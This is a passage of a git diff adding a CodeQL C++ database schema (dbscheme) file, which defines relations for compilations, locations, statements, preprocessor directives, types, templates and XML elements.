+ | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref, + boolean has_explicit_parameter_list: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_stmt ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/* XML Files */ + +xmlEncoding(unique int id: @file ref, string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters + | @xmlelement + | @xmlcomment + | @xmlattribute + | @xmldtd + | @file + | @xmlnamespace; diff --git a/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/semmlecode.cpp.dbscheme b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/semmlecode.cpp.dbscheme new file mode 100644 index 00000000000..af887e83a81 --- /dev/null +++ b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/semmlecode.cpp.dbscheme @@ -0,0 +1,2492 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/** + * Information about packages that provide code used during compilation. + * The `id` is just a unique identifier. + * The `namespace` is typically the name of the package manager that + * provided the package (e.g. "dpkg" or "yum"). + * The `package_name` is the name of the package, and `version` is its + * version (as a string). + */ +external_packages( + unique int id: @external_package, + string namespace : string ref, + string package_name : string ref, + string version : string ref +); + +/** + * Holds if File `fileid` was provided by package `package`. + */ +header_to_external_package( + int fileid : @file ref, + int package : @external_package ref +); + +/* + * Version history + */ + +svnentries( + unique int id : @svnentry, + string revision : string ref, + string author : string ref, + date revisionDate : date ref, + int changeSize : int ref +) + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + string action : string ref +) + +svnentrymsg( + unique int id : @svnentry ref, + string message : string ref +) + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +) + +/* + * C++ dbscheme + */ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +@location = @location_stmt | @location_expr | @location_default ; + +/** + * The location of an element that is not an expression or a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + /** The location of an element that is not an expression or a statement. */ + unique int id: @location_default, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_stmt( + /** The location of a statement. */ + unique int id: @location_stmt, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of an expression. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_expr( + /** The location of an expression. */ + unique int id: @location_expr, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @folder | @file + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +/* +case @function.kind of + 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; +*/ + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +| 40 = @decimal32 // _Decimal32 +| 41 = @decimal64 // _Decimal64 +| 42 = @decimal128 // _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +| 62 = @mfp8 // __mfp8 +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +/* +case @type_operator.kind of +| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; +*/ + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +/* +case @usertype.kind of +| 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; +*/ + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft 